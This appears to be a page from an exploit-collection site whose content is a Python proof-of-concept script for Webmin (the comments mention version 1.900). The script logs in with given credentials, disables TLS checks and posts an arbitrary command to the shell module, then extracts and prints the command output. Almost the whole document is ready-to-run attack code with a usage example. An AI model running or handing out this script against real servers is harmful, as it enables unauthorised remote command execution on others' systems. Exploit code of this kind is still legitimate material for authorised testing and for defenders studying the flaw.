4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests
import sys
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(ip, port, user, password, command):
    base_url = f"http://{ip}:{port}"
    session = requests.Session()
    
    # 1. Login
    login_url = f"{base_url}/session_login.cgi"
    login_data = {'user': user, 'pass': password, 'page': '/'}
    headers = {'Referer': login_url}
    
    try:
        print(f"[*] Logging in to {base_url}...")
        session.post(login_url, data=login_data, headers=headers, cookies={'testing': '1'}, verify=False, allow_redirects=False)
        
        if 'sid' not in session.cookies:
            print("[-] Login Failed.")
            return

        # 2. Execute via Shell Module using Multipart Encoding
        print(f"[*] Sending command: {command}")
        shell_url = f"{base_url}/shell/index.cgi"
        
        # We must use 'files' to force multipart/form-data encoding
        # We include 'd' and 'pwd' which are required for the shell to process
        form_data = {
            'cmd': (None, command),
            'pwd': (None, '/root'),
            'history': (None, '0'),
            'previous': (None, '0'),
            'd': (None, '') 
        }
        
        headers['Referer'] = f"{base_url}/shell/"
        # Let requests handle the Boundary header by not setting Content-Type manually
        resp = session.post(shell_url, files=form_data, headers=headers, verify=False)

        # 3. Clean Extract
        if resp.status_code == 200:
            # Webmin 1.900 places output inside <pre id='output'> or just <pre>
            if "<pre>" in resp.text:
                output = resp.text.split("<pre>")[1].split("</pre>")[0]
                # Remove the command echo if it exists
                clean_output = re.sub(r'^.*' + re.escape(command), '', output, flags=re.DOTALL)
                print("\n[+] Output:")
                print("-" * 40)
                print(clean_output.strip())
                print("-" * 40)
            else:
                # If no pre tags, look for the text right before the </div>
                print("[+] Command Sent. Response received.")
                # Basic scrape to find text between the last <hr> and the button
                parts = resp.text.split("<hr>")
                if len(parts) > 2:
                    print(parts[2].split("<a")[0].replace('&nbsp;', '').strip())
                else:
                    print("[-] Output tag not found, but command likely executed.")
        else:
            print(f"[-] Request failed with status: {resp.status_code}")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Example: python3 cve.py 172.16.1.1 10000 admin admin id
    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])